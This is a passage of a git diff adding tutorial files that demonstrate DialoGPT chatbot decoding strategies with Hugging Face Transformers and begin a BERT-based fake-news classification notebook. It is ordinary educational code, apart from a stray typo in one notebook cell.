"f0ad21fa57f04ddaacb16b5d93a91dbf", + "93655e4ba0524ed68e5e43bafbab0b09", + "f4ac2393a6204b8a973024006a07d2d0", + "25fd5522274c469695fd505261be3f30", + "8809ce5042484ac29b7c74e3d0debf60", + "dfab4977038646a5afc8d49f0bfb4b58", + "21a8fa4fd2ef4893801344149155ace0", + "84f3bdf55770475da3eaa9f5025f3f3c", + "e5261633ada14d9296767dda38672de4", + "4df27391153d49439cc5df8a3469ddf9" + ] + }, + "id": "2a18CRZ_QU0T", + "outputId": "7a7f581a-9357-4a64-b291-78725dd1305c" + }, + "source": [ + "from transformers import AutoModelForCausalLM, AutoTokenizer\n", + "import torch\n", + "\n", + "# model_name = \"microsoft/DialoGPT-large\"\n", + "model_name = \"microsoft/DialoGPT-medium\"\n", + "# model_name = \"microsoft/DialoGPT-small\"\n", + "tokenizer = AutoTokenizer.from_pretrained(model_name)\n", + "model = AutoModelForCausalLM.from_pretrained(model_name)" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "hLlcHnisQYeU", + "outputId": "a02694cf-a1f8-4027-a371-259f5770c43d" + }, + "source": [ + "# chatting 5 times with greedy search\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " pad_token_id=tokenizer.eos_token_id,\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "4BowrvR6QY7V", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "97b24dd0-c4a0-4499-c149-f0263d6ed5e7" + }, + "source": [ + "# chatting 5 times with beam search\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " num_beams=3,\n", + " early_stopping=True,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Fl96NOmzGKDl", + "outputId": "23992d2c-413d-4fcd-afc3-24e47170c4b2" + }, + "source": [ + "# chatting 5 times with sampling\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " do_sample=True,\n", + " top_k=0,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 622 + }, + "id": "kxooQQiVJXVd", + "outputId": "1c81b56c-5eb1-4263-f763-9ddee7d9897b" + }, + "source": [ + "# chatting 5 times with sampling & tweaking temperature\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " do_sample=True,\n", + " top_k=0,\n", + " temperature=0.75,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "v0K9mYk_KMsI", + "outputId": "3c627eeb-0c64-45fe-9533-884865a24665" + }, + "source": [ + "# chatting 5 times with Top K sampling & tweaking temperature\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " do_sample=True,\n", + " top_k=100,\n", + " temperature=0.75,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Lbj7DOfKKuct", + "outputId": "c87b97ff-b0d6-4d8a-eeae-419f875aa66b" + }, + "source": [ + "# chatting 5 times with nucleus sampling & tweaking temperature\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " do_sample=True,\n", + " top_p=0.95,\n", + " top_k=0,\n", + " temperature=0.75,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the output\n", + " output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n", + " print(f\"DialoGPT: {output}\")" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "eIAojx7aNndK", + "outputId": "2abca6c7-1bcc-4d45-95e1-04a9790fec55" + }, + "source": [ + "# chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple\n", + "# sentences\n", + "for step in range(5):\n", + " # take user input\n", + " text = input(\">> You:\")\n", + " # encode the input and add end of string token\n", + " input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n", + " # concatenate new user input with chat history (if there is)\n", + " bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids\n", + " # generate a bot response\n", + " chat_history_ids_list = model.generate(\n", + " bot_input_ids,\n", + " max_length=1000,\n", + " do_sample=True,\n", + " top_p=0.95,\n", + " top_k=50,Y\n", + " temperature=0.75,\n", + " num_return_sequences=5,\n", + " pad_token_id=tokenizer.eos_token_id\n", + " )\n", + " #print the outputs\n", + " for i in range(len(chat_history_ids_list)):\n", + " output = tokenizer.decode(chat_history_ids_list[i][bot_input_ids.shape[-1]:], skip_special_tokens=True)\n", + " print(f\"DialoGPT {i}: {output}\")\n", + " choice_index = int(input(\"Choose the response you want for the next input: \"))\n", + " chat_history_ids = torch.unsqueeze(chat_history_ids_list[choice_index], dim=0)" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "77vpEd8jQ7W8" + }, + "source": [], + "execution_count": null, + "outputs": [] + } + ] +} \ No newline at end of file diff --git a/machine-learning/nlp/chatbot-transformers/README.md b/machine-learning/nlp/chatbot-transformers/README.md new file mode 100644 index 00000000..ee7032fe --- /dev/null +++ b/machine-learning/nlp/chatbot-transformers/README.md @@ -0,0 +1,2 @@ +# [Conversational AI Chatbot with Transformers in Python](https://www.thepythoncode.com/article/conversational-ai-chatbot-with-huggingface-transformers-in-python) +

Open in Colab

\ No newline at end of file diff --git a/machine-learning/nlp/chatbot-transformers/dialogpt.py b/machine-learning/nlp/chatbot-transformers/dialogpt.py new file mode 100644 index 00000000..72c90e0e --- /dev/null +++ b/machine-learning/nlp/chatbot-transformers/dialogpt.py @@ -0,0 +1,169 @@ +# -*- coding: utf-8 -*- +"""DialoGPT.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1KAg6X8RFHE0KSvFSZ__w7KGZrSqT4cZ3 +""" + +# !pip install transformers + +from transformers import AutoModelForCausalLM, AutoTokenizer +import torch + +# model_name = "microsoft/DialoGPT-large" +model_name = "microsoft/DialoGPT-medium" +# model_name = "microsoft/DialoGPT-small" +tokenizer = AutoTokenizer.from_pretrained(model_name) +model = AutoModelForCausalLM.from_pretrained(model_name) +print("====Greedy search chat====") +# chatting 5 times with greedy search +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + pad_token_id=tokenizer.eos_token_id, + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====Beam search chat====") +# chatting 5 times with beam search +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + num_beams=3, + early_stopping=True, + pad_token_id=tokenizer.eos_token_id + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====Sampling chat====") +# chatting 5 times with sampling +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + do_sample=True, + top_k=0, + pad_token_id=tokenizer.eos_token_id + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====Sampling chat with tweaking temperature====") +# chatting 5 times with sampling & tweaking temperature +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + do_sample=True, + top_k=0, + temperature=0.75, + pad_token_id=tokenizer.eos_token_id + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====Top-K sampling chat with tweaking temperature====") +# chatting 5 times with Top K sampling & tweaking temperature +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + do_sample=True, + top_k=100, + temperature=0.75, + pad_token_id=tokenizer.eos_token_id + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====Nucleus sampling (top-p) chat with tweaking temperature====") +# chatting 5 times with nucleus sampling & tweaking temperature +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids = model.generate( + bot_input_ids, + max_length=1000, + do_sample=True, + top_p=0.95, + top_k=0, + temperature=0.75, + pad_token_id=tokenizer.eos_token_id + ) + #print the output + output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True) + print(f"DialoGPT: {output}") +print("====chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple sentences====") +# chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple +# sentences +for step in range(5): + # take user input + text = input(">> You:") + # encode the input and add end of string token + input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt") + # concatenate new user input with chat history (if there is) + bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids + # generate a bot response + chat_history_ids_list = model.generate( + bot_input_ids, + max_length=1000, + do_sample=True, + top_p=0.95, + top_k=50, + temperature=0.75, + num_return_sequences=5, + pad_token_id=tokenizer.eos_token_id + ) + #print the outputs + for i in range(len(chat_history_ids_list)): + output = tokenizer.decode(chat_history_ids_list[i][bot_input_ids.shape[-1]:], skip_special_tokens=True) + print(f"DialoGPT {i}: {output}") + choice_index = int(input("Choose the response you want for the next input: ")) + chat_history_ids = torch.unsqueeze(chat_history_ids_list[choice_index], dim=0) + diff --git a/machine-learning/nlp/chatbot-transformers/requirements.txt b/machine-learning/nlp/chatbot-transformers/requirements.txt new file mode 100644 index 00000000..747b7aa9 --- /dev/null +++ b/machine-learning/nlp/chatbot-transformers/requirements.txt @@ -0,0 +1 @@ +transformers \ No newline at end of file diff --git a/machine-learning/nlp/fake-news-classification/README.md b/machine-learning/nlp/fake-news-classification/README.md new file mode 100644 index 00000000..f4b62173 --- /dev/null +++ b/machine-learning/nlp/fake-news-classification/README.md @@ -0,0 +1,3 @@ +# [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb new file mode 100644 index 00000000..93d2fd31 --- /dev/null +++ b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb @@ -0,0 +1,2826 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "VVhpmlBLDSmV" + }, + "outputs": [], + "source": [ + "!pip install -q kaggle" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "8u5TrzZQDUNh" + }, + "outputs": [], + "source": [ + "from google.colab import files" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 93, + "resources": { + "http://localhost:8080/nbextensions/google.colab/files.js": { + "data": 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+ "headers": [ + [ + "content-type", + "application/javascript" + ] + ], + "ok": true, + "status": 200, + "status_text": "" + } + } + }, + "id": "1ChHVpiBDvRC", + "outputId": "6ff918cb-ad27-4796-8618-179e1cfae152" + }, + "outputs": [], + "source": [ + "files.upload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "LKmGxy7uD3mH" + }, + "outputs": [], + "source": [ + "!rm -rf ~/.kaggle\n", + "!mkdir ~/.kaggle\n", + "!cp kaggle.json ~/.kaggle/" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "K31gGW95D-ds" + }, + "outputs": [], + "source": [ + "!chmod 600 ~/.kaggle/kaggle.json" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7tc8j0cpCs6V", + "outputId": "ea85a064-6d90-44e5-f973-8cc3cbd21d0b" + }, + "outputs": [], + "source": [ + "!kaggle competitions download -c fake-news" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "5Z1vHUnzEB1m", + "outputId": "6a9e8e13-9769-45d2-cb44-6e85c6a34cf1" + }, + "outputs": [], + "source": [ + "!unzip test.csv.zip\n", + "!unzip train.csv.zip" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Ag93PTMXYHwe", + "outputId": "4ad0d65e-ba8e-4606-9f52-c6d25f6a1584" + }, + "outputs": [], + "source": [ + "!pip install gdown" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "hLtPC6MDYOFR", + "outputId": "26a02548-f427-4fc2-f57f-06abb580b12f" + }, + "outputs": [], + "source": [ + "# download from Google Drive\n", + "!gdown \"https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "54s0iKSTZIRW", + "outputId": "9a4978e8-756f-4db4-c16c-2c3fb8216621" + }, + "outputs": [], + "source": [ + "!unzip fake-news.zip" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "collapsed": true, + "id": "xSK_epCLZT2v" + }, + "outputs": [], + "source": [ + "### Import all library\n", + "import pandas as pd\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jlIOzQCQMidA", + "outputId": "0411a5c3-faa7-49af-a34e-2021bf2d09f7" + }, + "outputs": [], + "source": [ + "import nltk\n", + "nltk.download('stopwords')\n", + "nltk.download('wordnet')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "WLe24P_AZT23" + }, + "outputs": [], + "source": [ + "# load the dataset\n", + "news_d = pd.read_csv(\"train.csv\")\n", + "submit_test = pd.read_csv(\"test.csv\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "9QyYwLcfZT26", + "outputId": "102a4d15-1844-43ed-c979-3d849a0fd7f1" + }, + "outputs": [], + "source": [ + "## Shape and colums of train dataset\n", + "print(\" Shape of News data :: \", news_d.shape)\n", + "print(\" News data columns\", news_d.columns)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "dV2tqqQflsnY", + "outputId": "a15e4bf7-6ca0-45f0-a29b-233407f67f94" + }, + "outputs": [], + "source": [ + "## by using df.head(),We can immediately familiarize ourselves with the dataset. \n", + "news_d.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "usijKYn4ZT2_", + "outputId": "d6812488-fe36-40e9-d16e-89492b851c2d" + }, + "outputs": [], + "source": [ + "#Text Word startistics: min.mean, max and interquartile range\n", + "\n", + "txt_length = news_d.text.str.split().str.len()\n", + "txt_length.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "RxecYM54ZT3B", + "outputId": "d92adedf-0484-4cdc-d3a6-5c85189ad6df" + }, + "outputs": [], + "source": [ + "#Title statistics \n", + "\n", + "title_length = news_d.title.str.split().str.len()\n", + "title_length.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 388 + }, + "id": "ZY-ANnATZT3F", + "outputId": "62e491f9-7965-43a4-9957-88689482f28a" + }, + "outputs": [], + "source": [ + "sns.countplot(x=\"label\", data=news_d);\n", + "print(\"1: Unreliable\")\n", + "print(\"0: Reliable\")\n", + "print(\"Distribution of labels:\")\n", + "print(news_d.label.value_counts());\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "osktMXOhusEN", + "outputId": "cb244f09-e520-4a6b-b853-1c0b83d51677" + }, + "outputs": [], + "source": [ + "print(round(news_d.label.value_counts(normalize=True),2)*100);" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "collapsed": true, + "id": "KfZe4hi4ZT3T" + }, + "outputs": [], + "source": [ + "# Constants that are used to sanitize the datasets \n", + "column_n = ['id', 'title', 'author', 'text', 'label']\n", + "remove_c = ['id','author']\n", + "categorical_features = []\n", + "target_col = ['label']\n", + "text_f = ['title', 'text']" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "collapsed": true, + "id": "oasDD7W9ZT3V" + }, + "outputs": [], + "source": [ + "# Clean Datasets\n", + "import nltk\n", + "from nltk.corpus import stopwords\n", + "import re\n", + "from nltk.stem.porter import PorterStemmer\n", + "from collections import Counter\n", + "\n", + "ps = PorterStemmer()\n", + "wnl = nltk.stem.WordNetLemmatizer()\n", + "\n", + "stop_words = stopwords.words('english')\n", + "stopwords_dict = Counter(stop_words)\n", + "\n", + "# Removed unused clumns\n", + "def remove_unused_c(df,column_n=remove_c):\n", + " df = df.drop(column_n,axis=1)\n", + " return df\n", + "\n", + "# Impute null values with None\n", + "def null_process(feature_df):\n", + " for col in text_f:\n", + " feature_df.loc[feature_df[col].isnull(), col] = \"None\"\n", + " return feature_df\n", + "\n", + "def clean_dataset(df):\n", + " # remove unused column\n", + " df = remove_unused_c(df)\n", + " #impute null values\n", + " df = null_process(df)\n", + " return df\n", + "\n", + "# Cleaning text from unused characters\n", + "def clean_text(text):\n", + " text = str(text).replace(r'http[\\w:/\\.]+', ' ') # removing urls\n", + " text = str(text).replace(r'[^\\.\\w\\s]', ' ') # remove everything but characters and punctuation\n", + " text = str(text).replace('[^a-zA-Z]', ' ')\n", + " text = str(text).replace(r'\\s\\s+', ' ')\n", + " text = text.lower().strip()\n", + " #text = ' '.join(text) \n", + " return text\n", + "\n", + "## Nltk Preprocessing include:\n", + "# Stop words, Stemming and Lemmetization\n", + "# For our project we use only Stop word removal\n", + "def nltk_preprocess(text):\n", + " text = clean_text(text)\n", + " wordlist = re.sub(r'[^\\w\\s]', '', text).split()\n", + " #text = ' '.join([word for word in wordlist if word not in stopwords_dict])\n", + " #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict]\n", + " text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict])\n", + " return text" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "VjhrcHdx4wEC" + }, + "outputs": [], + "source": [ + "# Perform data cleaning on train and test dataset by calling clean_dataset function\n", + "df = clean_dataset(news_d)\n", + "# apply preprocessing on text through apply method by calling the function nltk_preprocess\n", + "df[\"text\"] = df.text.apply(nltk_preprocess)\n", + "# apply preprocessing on title through apply method by calling the function nltk_preprocess\n", + "df[\"title\"] = df.title.apply(nltk_preprocess)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "INSy__WHZT3Y", + "outputId": "986ab5ec-2bd7-41a6-8edc-7c8447cd2401" + }, + "outputs": [], + "source": [ + "# Dataset after cleaning and preprocessing step\n", + "df.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 855 + }, + "id": "XktcLR8nZT3b", + "outputId": "8e2bb11d-fd93-4d14-abf4-70f27eb79f1f" + }, + "outputs": [], + "source": [ + "from wordcloud import WordCloud, STOPWORDS\n", + "import matplotlib.pyplot as plt\n", + "\n", + "# initialize the word cloud\n", + "wordcloud = WordCloud( background_color='black', width=800, height=600)\n", + "# generate the word cloud by passing the corpus\n", + "text_cloud = wordcloud.generate(' '.join(df['text']))\n", + "# plotting the word cloud\n", + "plt.figure(figsize=(20,30))\n", + "plt.imshow(text_cloud)\n", + "plt.axis('off')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 855 + }, + "id": "vMPUtlQfZT3d", + "outputId": "dbd7bac6-68f7-471e-c1ae-fb905296671e" + }, + "outputs": [], + "source": [ + "true_n = ' '.join(df[df['label']==0]['text']) \n", + "wc = wordcloud.generate(true_n)\n", + "plt.figure(figsize=(20,30))\n", + "plt.imshow(wc)\n", + "plt.axis('off')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 855 + }, + "id": "lFqg39MNZT3f", + "outputId": "682e9b1a-ce73-41dd-ba9e-ec8ca895281d" + }, + "outputs": [], + "source": [ + "fake_n = ' '.join(df[df['label']==1]['text'])\n", + "wc= wordcloud.generate(fake_n)\n", + "plt.figure(figsize=(20,30))\n", + "plt.imshow(wc)\n", + "plt.axis('off')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1DxgVIzkXA44" + }, + "outputs": [], + "source": [ + "def plot_top_ngrams(corpus, title, ylabel, xlabel=\"Number of Occurences\", n=2):\n", + " \"\"\"Utility function to plot top n-grams\"\"\"\n", + " true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20]\n", + " true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))\n", + " plt.title(title)\n", + " plt.ylabel(ylabel)\n", + " plt.xlabel(xlabel)\n", + " plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 513 + }, + "id": "fYiuP4P4ZT3k", + "outputId": "ab9b7eba-bd5d-4e97-ba86-f5bb6f537554" + }, + "outputs": [], + "source": [ + "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', \"Bigram\", n=2)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 513 + }, + "id": "nv9LYUI6ZT3m", + "outputId": "fa2b2cc7-4dc1-4c70-cc74-2029841bc32d" + }, + "outputs": [], + "source": [ + "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', \"Bigram\", n=2)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 513 + }, + "id": "p_blWx4cZT3o", + "outputId": "2bb7b649-3898-4eaa-ed81-905b0b3d30d8" + }, + "outputs": [], + "source": [ + "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', \"Trigrams\", n=3)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 513 + }, + "id": "ev5s93pgZT3q", + "outputId": "4da176b6-18ce-4e20-b959-a2d3c2605899" + }, + "outputs": [], + "source": [ + "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', \"Trigrams\", n=3)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "VYcNDP6D1W6_" + }, + "source": [ + "# Fine-tuning BERT" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "pYv1yNN-1WMb", + "outputId": "4507ec5e-e21f-4d00-b861-f97997c2f977" + }, + "outputs": [], + "source": [ + "!pip install transformers" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ATmM7Lx-15Rs" + }, + "outputs": [], + "source": [ + "import torch\n", + "from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available\n", + "from transformers import BertTokenizerFast, BertForSequenceClassification\n", + "from transformers import Trainer, TrainingArguments\n", + "import numpy as np\n", + "from sklearn.model_selection import train_test_split\n", + "\n", + "import random" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "6Gj4Dl2u19uV" + }, + "outputs": [], + "source": [ + "def set_seed(seed: int):\n", + " \"\"\"\n", + " Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if\n", + " installed).\n", + "\n", + " 